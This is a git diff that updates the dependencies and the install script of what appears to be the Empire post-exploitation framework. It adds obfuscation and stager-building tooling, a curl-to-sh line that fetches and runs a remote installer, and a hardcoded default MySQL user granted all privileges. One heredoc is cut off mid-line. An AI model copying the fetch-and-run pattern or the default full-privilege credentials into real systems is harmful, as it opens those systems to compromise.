- {file = "zope.interface-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f"},
- {file = "zope.interface-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410"},
- {file = "zope.interface-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28"},
- {file = "zope.interface-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52"},
- {file = "zope.interface-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30"},
- {file = "zope.interface-6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464"},
- {file = "zope.interface-6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518"},
- {file = "zope.interface-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb"},
- {file = "zope.interface-6.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788"},
- {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca"},
- {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a"},
- {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc"},
- {file = "zope.interface-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373"},
- {file = "zope.interface-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f"},
- {file = "zope.interface-6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8"},
- {file = "zope.interface-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58"},
- {file = "zope.interface-6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446"},
- {file = "zope.interface-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f"},
- {file = "zope.interface-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8"},
- {file = "zope.interface-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2"},
- {file = "zope.interface-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c"},
- {file = "zope.interface-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5"},
- {file = "zope.interface-6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8"},
- {file = "zope.interface-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2"},
- {file = "zope.interface-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5"},
- {file = "zope.interface-6.0.tar.gz", hash = "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d"},
+ {file = "zope.interface-6.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43b576c34ef0c1f5a4981163b551a8781896f2a37f71b8655fd20b5af0386abb"},
+ {file = "zope.interface-6.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:67be3ca75012c6e9b109860820a8b6c9a84bfb036fbd1076246b98e56951ca92"},
+ {file = "zope.interface-6.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b9bc671626281f6045ad61d93a60f52fd5e8209b1610972cf0ef1bbe6d808e3"},
+ {file = "zope.interface-6.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bbe81def9cf3e46f16ce01d9bfd8bea595e06505e51b7baf45115c77352675fd"},
+ {file = "zope.interface-6.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dc998f6de015723196a904045e5a2217f3590b62ea31990672e31fbc5370b41"},
+ {file = "zope.interface-6.1-cp310-cp310-win_amd64.whl", hash = "sha256:239a4a08525c080ff833560171d23b249f7f4d17fcbf9316ef4159f44997616f"},
+ {file = "zope.interface-6.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9ffdaa5290422ac0f1688cb8adb1b94ca56cee3ad11f29f2ae301df8aecba7d1"},
+ {file = "zope.interface-6.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:34c15ca9248f2e095ef2e93af2d633358c5f048c49fbfddf5fdfc47d5e263736"},
+ {file = "zope.interface-6.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b012d023b4fb59183909b45d7f97fb493ef7a46d2838a5e716e3155081894605"},
+ {file = "zope.interface-6.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97806e9ca3651588c1baaebb8d0c5ee3db95430b612db354c199b57378312ee8"},
+ {file = "zope.interface-6.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fddbab55a2473f1d3b8833ec6b7ac31e8211b0aa608df5ab09ce07f3727326de"},
+ {file = "zope.interface-6.1-cp311-cp311-win_amd64.whl", hash = "sha256:a0da79117952a9a41253696ed3e8b560a425197d4e41634a23b1507efe3273f1"},
+ {file = "zope.interface-6.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:e8bb9c990ca9027b4214fa543fd4025818dc95f8b7abce79d61dc8a2112b561a"},
+ {file = "zope.interface-6.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b51b64432eed4c0744241e9ce5c70dcfecac866dff720e746d0a9c82f371dfa7"},
+ {file = "zope.interface-6.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa6fd016e9644406d0a61313e50348c706e911dca29736a3266fc9e28ec4ca6d"},
+ {file = "zope.interface-6.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0c8cf55261e15590065039696607f6c9c1aeda700ceee40c70478552d323b3ff"},
+ {file = "zope.interface-6.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e30506bcb03de8983f78884807e4fd95d8db6e65b69257eea05d13d519b83ac0"},
+ {file = "zope.interface-6.1-cp312-cp312-win_amd64.whl", hash = "sha256:e33e86fd65f369f10608b08729c8f1c92ec7e0e485964670b4d2633a4812d36b"},
+ {file = "zope.interface-6.1-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:2f8d89721834524a813f37fa174bac074ec3d179858e4ad1b7efd4401f8ac45d"},
+ {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13b7d0f2a67eb83c385880489dbb80145e9d344427b4262c49fbf2581677c11c"},
+ {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef43ee91c193f827e49599e824385ec7c7f3cd152d74cb1dfe02cb135f264d83"},
+ {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e441e8b7d587af0414d25e8d05e27040d78581388eed4c54c30c0c91aad3a379"},
+ {file = "zope.interface-6.1-cp37-cp37m-win_amd64.whl", hash = "sha256:f89b28772fc2562ed9ad871c865f5320ef761a7fcc188a935e21fe8b31a38ca9"},
+ {file = "zope.interface-6.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:70d2cef1bf529bff41559be2de9d44d47b002f65e17f43c73ddefc92f32bf00f"},
+ {file = "zope.interface-6.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ad54ed57bdfa3254d23ae04a4b1ce405954969c1b0550cc2d1d2990e8b439de1"},
+ {file = "zope.interface-6.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef467d86d3cfde8b39ea1b35090208b0447caaabd38405420830f7fd85fbdd56"},
+ {file = "zope.interface-6.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6af47f10cfc54c2ba2d825220f180cc1e2d4914d783d6fc0cd93d43d7bc1c78b"},
+ {file = "zope.interface-6.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9559138690e1bd4ea6cd0954d22d1e9251e8025ce9ede5d0af0ceae4a401e43"},
+ {file = "zope.interface-6.1-cp38-cp38-win_amd64.whl", hash = "sha256:964a7af27379ff4357dad1256d9f215047e70e93009e532d36dcb8909036033d"},
+ {file = "zope.interface-6.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:387545206c56b0315fbadb0431d5129c797f92dc59e276b3ce82db07ac1c6179"},
+ {file = "zope.interface-6.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:57d0a8ce40ce440f96a2c77824ee94bf0d0925e6089df7366c2272ccefcb7941"},
+ {file = "zope.interface-6.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ebc4d34e7620c4f0da7bf162c81978fce0ea820e4fa1e8fc40ee763839805f3"},
+ {file = "zope.interface-6.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a804abc126b33824a44a7aa94f06cd211a18bbf31898ba04bd0924fbe9d282d"},
+ {file = "zope.interface-6.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f294a15f7723fc0d3b40701ca9b446133ec713eafc1cc6afa7b3d98666ee1ac"},
+ {file = "zope.interface-6.1-cp39-cp39-win_amd64.whl", hash = "sha256:a41f87bb93b8048fe866fa9e3d0c51e27fe55149035dcf5f43da4b56732c0a40"},
+ {file = "zope.interface-6.1.tar.gz", hash = "sha256:2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309"},
]
[package.dependencies]
setuptools = "*"
[package.extras]
-docs = ["Sphinx", "repoze.sphinx.autointerface"]
+docs = ["Sphinx", "repoze.sphinx.autointerface", "sphinx-rtd-theme"]
test = ["coverage (>=5.0.3)", "zope.event", "zope.testing"]
testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"]
@@ -3182,5 +3299,5 @@ test = ["pytest"]
[metadata]
lock-version = "2.0"
-python-versions = ">=3.8,<3.12"
-content-hash = "c2cf6a69f5538f1745b5f7ffc1bd278385a835e2ac9aeb29b48589a2d4328c9a"
+python-versions = ">=3.10,<3.13"
+content-hash = "c26a4bee7268960ffba31bc0b06fca08a90d19cecc041f75dd4a65d8ec7595d7"
diff --git a/pyproject.toml b/pyproject.toml
index 91ca94802..53dfeb23c 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[tool.poetry]
name = "empire-bc-security-fork"
-version = "5.7.3"
+version = "5.8.1"
description = ""
authors = ["BC Security "]
readme = "README.md"
@@ -13,32 +13,31 @@ packages = [
]
[tool.poetry.dependencies]
-python = ">=3.8,<3.12"
-urllib3 = "^2.0.3"
+python = ">=3.10,<3.13"
+urllib3 = "^2.0.7"
requests = "^2.31.0"
iptools = "^0.7.0"
-macholib = "^1.16.2"
+macholib = "^1.16.3"
dropbox = "^11.36.2"
pyOpenSSL = "^23.2.0"
zlib_wrapper = "^0.1.3"
netifaces = "^0.11.0"
jinja2 = "^3.1.2"
xlutils = "^2.0.0"
-pyparsing = "^3.1.0"
+pyparsing = "^3.1.1"
PyMySQL = "^1.1.0"
-SQLAlchemy = "^2.0.18"
+SQLAlchemy = "^2.0.22"
PyYAML = "^6.0.1"
SQLAlchemy-Utc = "^0.14.0"
prompt-toolkit = "^3.0.39"
terminaltables = "^3.1.10"
-docopt = "^0.6.2"
-humanize = "^4.7.0"
-pycryptodome = "^3.18.0"
-cryptography = "^41.0.1"
-fastapi = "^0.99.1"
+humanize = "^4.8.0"
+pycryptodome = "^3.19.0"
+cryptography = "^41.0.4"
+fastapi = "^0.104.1"
uvicorn = "^0.22.0"
-jq = "^1.4.1"
-aiofiles = "^23.1.0"
+jq = "^1.6.0"
+aiofiles = "^23.2.1"
python-multipart = "^0.0.6"
python-jose = {version = "^3.3.0", extras = ["cryptography"]}
passlib = {version = "^1.7.4", extras = ["bcrypt"]}
@@ -46,23 +45,25 @@ websockify = "^0.10.0"
websockets = "^11.0.3"
pyperclip = "^1.8.2"
pyvnc = {git = "https://github.com/BC-SECURITY/pyVNC.git"}
-python-socketio = {extras = ["client"], version = "^5.8.0"}
-Flask = "^2.3.2"
-pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git"}
-donut-shellcode = "^1.0.2"
+python-socketio = {extras = ["client"], version = "^5.10.0"}
+Flask = "^2.3.3"
+pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git", rev = "da5be0e"}
+donut-shellcode = { version = "^1.0.2", markers = "platform_machine == 'x86_64' or platform_machine == 'amd64'" }
python-obfuscator = "^0.0.2"
-pyinstaller = "^5.13.0"
-md2pdf = "^1.0.1"
+pyinstaller = "^5.13.2"
+md2pdf = {git = "https://github.com/bc-security/md2pdf", rev = "48d5a46"}
tabulate = "^0.9.0"
stix2 = "^3.0.1"
+docopt-ng = "^0.9.0"
+packaging = "^23.2"
[tool.poetry.group.dev.dependencies]
httpx = "^0.24.1" # For starlette TestClient
-black = "^23.7.0"
-pytest = "^7.4.0"
-pytest-timeout = "^2.1.0"
-ruff = "^0.0.283"
+black = "^23.10.0"
+pytest = "^7.4.2"
+pytest-timeout = "^2.2.0"
+ruff = "^0.1.4"
pytest-cov = "^4.1.0"
[build-system]
@@ -100,18 +101,15 @@ extend-exclude = [
extend-ignore = ["E501"]
select = [
- "E", # Pycodestyle
- "W", # Pycodestyle
- "F", # Pyflakes
- "I", # Isort (I)
- "UP", # PyUpgrade
- "B" # Bugbear
+ "E", # pycodestyle
+ "W", # pycodestyle
+ "F", # pyflakes
+ "I", # isort
+ "UP", # pyupgrade
+ "B", # flake8-bugbear
+ "C4" # flake8-comprehensions
]
-target-version = "py38"
-
-[tool.ruff.pyupgrade]
-# https://docs.astral.sh/ruff/settings/#pyupgrade-keep-runtime-typing
-keep-runtime-typing = true
+target-version = "py310"
[tool.ruff.flake8-bugbear]
extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi.Query", "fastapi.params.Query", "fastapi.File"]
diff --git a/pytest.ini b/pytest.ini
index 0a14d0233..a414280bb 100644
--- a/pytest.ini
+++ b/pytest.ini
@@ -1,3 +1,7 @@
[pytest]
log_cli = false
log_cli_level = INFO
+# Should figure out a better way to do this, but for now filters out all the
+# warnings from the threads exiting.
+filterwarnings =
+ ignore::pytest.PytestUnhandledThreadExceptionWarning
diff --git a/setup/install.sh b/setup/install.sh
index a8d218cfc..1f778f826 100755
--- a/setup/install.sh
+++ b/setup/install.sh
@@ -26,7 +26,12 @@ function command_exists() {
function install_powershell() {
echo -e "\x1b[1;34m[*] Installing PowerShell\x1b[0m"
if [ "$OS_NAME" == "DEBIAN" ]; then
- wget https://packages.microsoft.com/config/debian/"${VERSION_ID}"/packages-microsoft-prod.deb
+ # TODO Temporary until official Debian 12 support is added
+ VERSION_ID_2=$VERSION_ID
+ if [ "$VERSION_ID" == "12" ]; then
+ VERSION_ID_2="11"
+ fi
+ wget https://packages.microsoft.com/config/debian/"${VERSION_ID_2}"/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
sudo apt-get update
@@ -40,13 +45,13 @@ function install_powershell() {
sudo apt-get update
sudo apt-get install -y powershell
elif [ "$OS_NAME" == "KALI" ]; then
- apt update && apt -y install powershell
+ sudo apt-get update && sudo apt-get -y install powershell
elif [ $OS_NAME == "PARROT" ]; then
- apt update && apt -y install powershell
+ sudo apt-get update && sudo apt-get -y install powershell
fi
- mkdir -p /usr/local/share/powershell/Modules
- cp -r "$PARENT_PATH"/empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules
+ sudo mkdir -p /usr/local/share/powershell/Modules
+ sudo cp -r "$PARENT_PATH"/empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules
rm -f packages-microsoft-prod.deb*
}
@@ -58,28 +63,40 @@ function install_mysql() {
echo mysql-community-server mysql-server/default-auth-override select "Use Strong Password Encryption (RECOMMENDED)" | sudo debconf-set-selections
if [ "$OS_NAME" == "UBUNTU" ]; then
- sudo DEBIAN_FRONTEND=noninteractive apt install -y mysql-server
+ sudo DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server
elif [[ "$OS_NAME" == "KALI" || "$OS_NAME" == "PARROT" || "$OS_NAME" == "DEBIAN" ]]; then
- sudo apt update
- sudo DEBIAN_FRONTEND=noninteractive apt install -y default-mysql-server # mariadb
+ sudo apt-get update
+ sudo DEBIAN_FRONTEND=noninteractive apt-get install -y default-mysql-server # mariadb
fi
echo -e "\x1b[1;34m[*] Starting MySQL\x1b[0m"
}
function start_mysql() {
+ echo -e "\x1b[1;34m[*] Configuring MySQL\x1b[0m"
sudo systemctl start mysql.service || true # will fail in a docker image
# Add the default empire user to the mysql database
- mysql -u root -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true
- mysql -u root -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true
- mysql -u root -e "FLUSH PRIVILEGES;" || true
+ sudo mysql -u root -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true
+ sudo mysql -u root -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true
+ sudo mysql -u root -e "FLUSH PRIVILEGES;" || true
# Some OS have a root password set by default. We could probably
# be more smart about this, but we just try both.
- mysql -u root -proot -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true
- mysql -u root -proot -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true
- mysql -u root -proot -e "FLUSH PRIVILEGES;" || true
+ sudo mysql -u root -proot -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true
+ sudo mysql -u root -proot -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true
+ sudo mysql -u root -proot -e "FLUSH PRIVILEGES;" || true
+
+ if [ "$ASSUME_YES" == "1" ]; then
+ answer="Y"
+ else
+ echo -n -e "\x1b[1;33m[>] Do you want to enable MySQL to start on boot? (y/N)? \x1b[0m"
+ read -r answer
+ fi
+
+ if [[ "$answer" =~ ^[Yy]$ ]]; then
+ sudo systemctl enable mysql || true
+ fi
}
function install_xar() {
@@ -107,10 +124,73 @@ function install_bomutils() {
rm -rf bomutils
}
-export DEBIAN_FRONTEND=noninteractive
+function install_dotnet() {
+ echo -e "\x1b[1;34m[*] Installing dotnet for C# agents and modules\x1b[0m"
+ if [ $OS_NAME == "UBUNTU" ]; then
+ wget https://packages.microsoft.com/config/ubuntu/"${VERSION_ID}"/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
+ sudo dpkg -i packages-microsoft-prod.deb
+ rm packages-microsoft-prod.deb
+
+ # If version is 22.04, we need to write an /etc/apt/preferences file
+ # https://github.com/dotnet/core/issues/7699
+ if [ "$VERSION_ID" == "22.04" ]; then
+ echo -e "\x1b[1;34m[*] Detected Ubuntu 22.04, writing /etc/apt/preferences file\x1b[0m"
+ sudo tee -a /etc/apt/preferences <] Do you want to install Nim and MinGW? It is only needed to generate a Nim stager (y/N)? \x1b[0m"
+ read -r answer
+ fi
+ if [ "$answer" != "${answer#[Yy]}" ]; then
+ sudo apt-get install -y curl git gcc xz-utils
+ export CHOOSENIM_CHOOSE_VERSION=1.6.12
+ curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y
+ echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.bashrc
+ echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.zshrc
+ export PATH=$HOME/.nimble/bin:$PATH
+ sudo ln -s $HOME/.nimble/bin/* /usr/bin/
+ nimble install -y nimble@0.14.2
+ nimble install -y winim zippy nimcrypto
+ sudo apt-get install -y mingw-w64
+ else
+ echo -e "\x1b[1;34m[*] Skipping Nim\x1b[0m"
+ fi
+}
+
set -e
-apt-get update && apt-get install -y wget sudo git lsb-release
+if [ "$EUID" -eq 0 ]; then
+ if grep -q docker /proc/1/cgroup; then
+ echo "This script is being run in a Docker build context."
+ else
+ echo "This script should not be run as root."
+ exit 1
+ fi
+fi
+sudo apt-get update && sudo apt-get install -y wget git lsb-release curl
sudo -v
@@ -118,14 +198,9 @@ sudo -v
PARENT_PATH=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; cd .. ; pwd -P )
OS_NAME=
VERSION_ID=
-if grep "10.*" /etc/debian_version 2>/dev/null; then
- echo -e "\x1b[1;34m[*] Detected Debian 10\x1b[0m"
- OS_NAME="DEBIAN"
- VERSION_ID="10"
-elif grep "11.*" /etc/debian_version 2>/dev/null; then
- echo -e "\x1b[1;34m[*] Detected Debian 11\x1b[0m"
+if VERSION_ID=$(grep -oP '^(10|11|12)' /etc/debian_version 2>/dev/null); then
+ echo -e "\x1b[1;34m[*] Detected Debian $VERSION_ID\x1b[0m"
OS_NAME="DEBIAN"
- VERSION_ID="11"
elif grep -i "NAME=\"Ubuntu\"" /etc/os-release 2>/dev/null; then
OS_NAME=UBUNTU
VERSION_ID=$(grep -i VERSION_ID /etc/os-release | grep -o -E "[[:digit:]]+\\.[[:digit:]]+")
@@ -146,9 +221,26 @@ else
fi
sudo apt-get update
-sudo apt-get install -y python3-dev python3-pip xclip
+# xclip for copying to clipboard
+# libpango-1.0-0 and libharfbuzz0b for weasyprint
+sudo DEBIAN_FRONTEND=noninteractive apt-get install -y \
+ python3 \
+ xclip \
+ libpango-1.0-0 \
+ libharfbuzz0b \
+ libpangoft2-1.0-0
-install_powershell
+if ! command_exists pwsh; then
+ install_powershell
+fi
+
+if ! command_exists dotnet; then
+ install_dotnet
+fi
+
+if ! command_exists nim; then
+ install_nim
+fi
if ! command_exists mysql; then
install_mysql
@@ -183,103 +275,50 @@ else
echo -e "\x1b[1;34m[*] Skipping OpenJDK\x1b[0m"
fi
-echo -e "\x1b[1;34m[*] Installing dotnet for C# agents and modules\x1b[0m"
-if [ $OS_NAME == "UBUNTU" ]; then
- wget https://packages.microsoft.com/config/ubuntu/"${VERSION_ID}"/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
- sudo dpkg -i packages-microsoft-prod.deb
- rm packages-microsoft-prod.deb
-
- # If version is 22.04, we need to write an /etc/apt/preferences file
- # https://github.com/dotnet/core/issues/7699
- if [ "$VERSION_ID" == "22.04" ]; then
- echo -e "\x1b[1;34m[*] Detected Ubuntu 22.04, writing /etc/apt/preferences file\x1b[0m"
- sudo tee -a /etc/apt/preferences <] Do you want to install Nim and MinGW? It is only needed to generate a Nim stager (y/N)? \x1b[0m"
- read -r answer
-fi
-if [ "$answer" != "${answer#[Yy]}" ] ;then
- sudo apt install -y curl git gcc
- export CHOOSENIM_CHOOSE_VERSION=1.6.12
- curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y
- echo "export PATH=/root/.nimble/bin:$PATH" >> ~/.bashrc
- export PATH=/root/.nimble/bin:$PATH
- SOURCE_MESSAGE=true
- nimble install -y nimble@0.14.2
- nimble install -y winim zippy nimcrypto
- sudo apt install -y mingw-w64
-else
- echo -e "\x1b[1;34m[*] Skipping Nim\x1b[0m"
-fi
+ export PYENV_ROOT="$HOME/.pyenv"
+ command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"
+ eval "$(pyenv init -)"
+
+ echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
+ echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
+ echo 'eval "$(pyenv init -)"' >> ~/.bashrc
-if [ "$OS_NAME" == "PARROT" ]; then
- # https://github.com/python-poetry/poetry/issues/1917#issuecomment-1235998997
- export PYTHON_KEYRING_BACKEND=keyring.backends.null.Keyring
+ echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
+ echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
+ echo 'eval "$(pyenv init -)"' >> ~/.zshrc
+
+ sudo ln -s $HOME/.pyenv/bin/pyenv /usr/bin/pyenv
+
+ sudo DEBIAN_FRONTEND=noninteractive TZ=Etc/UTC \
+ apt-get -y install build-essential gdb lcov pkg-config \
+ libbz2-dev libffi-dev libgdbm-dev libgdbm-compat-dev liblzma-dev \
+ libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \
+ lzma lzma-dev tk-dev uuid-dev zlib1g-dev
+
+ pyenv install 3.12.0
fi
-echo -e "\x1b[1;34m[*] Checking Python version\x1b[0m"
-python_version=($(python3 -c 'import sys; print("{} {}".format(sys.version_info.major, sys.version_info.minor))'))
-if [ "${python_version[0]}" -eq 3 ] && [ "${python_version[1]}" -lt 8 ]; then
- if ! command_exists python3.8; then
- if [ "$OS_NAME" == "UBUNTU" ]; then
- echo -e "\x1b[1;34m[*] Python3 version less than 3.8, installing 3.8\x1b[0m"
- sudo apt-get install -y python3.8 python3.8-dev python3-pip
- elif [ "$OS_NAME" == "DEBIAN" ]; then
- echo -e "\x1b[1;34m[*] Python3 version less than 3.8, installing 3.8\x1b[0m"
- if [ "$ASSUME_YES" == "1" ] ;then
- answer="Y"
- else
- echo -n -e "\x1b[1;33m[>] Python 3.8 must be built from source. This might take a bit, do you want to continue (y/N)? \x1b[0m"
- read -r answer
- fi
- if [ "$answer" != "${answer#[Yy]}" ] ;then
- sudo apt-get install -y build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libsqlite3-dev libreadline-dev libffi-dev curl libbz2-dev
- curl -O https://www.python.org/ftp/python/3.8.16/Python-3.8.16.tar.xz
- tar -xf Python-3.8.16.tar.xz
- cd Python-3.8.16
- ./configure --enable-optimizations
- make -j"$(nproc)"
- sudo make altinstall
- cd ..
- rm -rf Python-3.8.16
- rm Python-3.8.16.tar.xz
- else
- echo -e "Abort"
- exit
- fi
- fi
- fi
- # TODO: We should really use the official poetry installer, but since right now we
- # recommend running this script as sudo, it installs poetry in a way that you can't
- # run it without sudo su. We should probably update the script to not be run as sudo,
- # and only use sudo when needed within the script itself.
- python3.8 -m pip install poetry
-else
- if [ "${python_version[0]}" -eq 3 ] && [ "${python_version[1]}" -ge 11 ]; then
- python3 -m pip install poetry --break-system-packages
- else
- python3 -m pip install poetry
- fi
+
